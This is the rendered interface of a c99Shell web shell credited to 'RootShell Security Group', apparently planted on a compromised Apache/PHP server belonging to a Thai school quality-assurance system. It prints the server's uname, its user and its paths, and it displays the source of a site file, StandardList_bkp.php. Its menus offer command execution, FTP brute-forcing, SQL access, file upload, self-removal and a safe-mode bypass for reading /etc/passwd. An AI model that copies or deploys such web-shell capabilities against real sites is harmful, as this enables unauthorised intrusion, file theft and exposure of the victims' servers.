!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StandardList_bkp.php (5.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();

$sql "Select * From qa_standard_tb";
 
$result mysql_query($sql) or die("Error".mysql_error());
 
$num mysql_num_rows($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style17 {
    font-size: 14px;
    font-weight: bold;
}
.style18 {font-size: 14px}
.style19 {
    font-family: Tahoma;
    font-size: 14px;
}
-->
</style>
<table width="806" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="806"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php" >หน้าหลัก</a> </font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> ข้อมูลประกันคุณภาพ</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="">
                <p align="left"><font size="2" face="Tahoma"><img src="./picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="89%" border="0" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC" bgcolor="#CCCCCC" style="background-color:#eeeeee; border:0px solid gray">
                  <tr bgcolor="#BFEABB">
                    <td height="25" colspan="3" bgcolor="#FFFFFF" ><div align="center" class="style17">
                      <div align="left"><font color="#000000" face="Tahoma">มาตรฐานการประกันคุณภาพการศึกษา </font></div>
                    </div></td>
                    <td height="25" bgcolor="#FFFFFF" ><div align="center" class="style19"><strong>จำนวนตัวบ่งชี้</strong></div></td>
                  </tr>
                  <?php
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
                  <tr bgcolor="#EEEEEE" >
                    <td width="128" height="25" align="center" bgcolor="#FFFFFF" >&nbsp;</td>
                    <td width="42" align="center" bgcolor="#FFFFFF" ><div align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font> <font color="#003366" size="2" face="Tahoma"> <? echo $row["Stand_code"]?> </font></div></td>
                    <td width="448" bgcolor="#FFFFFF"><div align="left"><font color="#336600" size="2" face="Tahoma"> <a href="Pi_List.php?Stand_code=<? echo $row[Stand_code]?>" class="black"> </a></font><font color="#336600" size="2" face="Tahoma"><a href="Pi_List.php?Stand_code=<? echo $row[Stand_code]?>" class="black">
                        <?=$row["Topic"]?>
                    </a> </font></div></td>
                    <td width="98" bgcolor="#FFFFFF"><div align="center"><font color="#336600" size="2" face="Tahoma">
                        <?php
                $Stand_code 
$row[Stand_code];
                
$sql1 "Select * From qa_pi_cri_tb Where Stand_code='$Stand_code'";
                
$result1 mysql_query($sql1) or die("Error".mysql_error());
                
$num1 mysql_num_rows($result1);
                echo 
"$num1";
                
                
?>
                    </font></div></td>
                  </tr>
                  <?
    $count
=1;
     }
else
{
?>
                  <tr bgcolor="#FFFFFF">
                    <td height="18" align="center" bordercolor="#FFFFFF" bgcolor="#FFFFFF" ><div align="center"></div></td>
                    <td height="18" align="center" bordercolor="#FFFFFF" bgcolor="#FFFFFF" ><div align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font> <font color="#003366" size="2" face="Tahoma"> <? echo $row["Stand_code"]?> </font></div></td>
                    <td bordercolor="#FFFFFF"><div align="left"><font color="#336600" size="2" face="Tahoma"> <a href="Pi_List.php?Stand_code=<? echo $row[Stand_code]?>" class="black"> </a></font><font color="#336600" size="2" face="Tahoma"><a href="Pi_List.php?Stand_code=<? echo $row[Stand_code]?>" class="black">
                        <?=$row["Topic"]?>
                    </a> </font></div></td>
                    <td bordercolor="#FFFFFF"><div align="center"><font color="#336600" size="2" face="Tahoma">
                        <?php
                $Stand_code 
$row[Stand_code];
                
$sql1 "Select * From qa_pi_cri_tb Where Stand_code='$Stand_code'";
                
$result1 mysql_query($sql1) or die("Error".mysql_error());
                
$num1 mysql_num_rows($result1);
                echo 
"$num1";
                
                
?>
                    </font></div></td>
                  </tr>
                  <?
$count
=0;
}
$i++;
 }    
CloseDB();
?>
                </table>
                <table width="718" border="0">
                  <tr>
                    <td><div align="right"><span class="style18"><font color="#000000" face="Tahoma">ทั้งหมด</font></span><strong><font color="#000000" size="2" face="Tahoma"> <? echo $num ?> </font></strong><span class="style18"><font color="#000000" face="Tahoma">รายการ&nbsp;</font></span> </div></td>
                  </tr>
                </table>
                <br>
            </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0162 ]--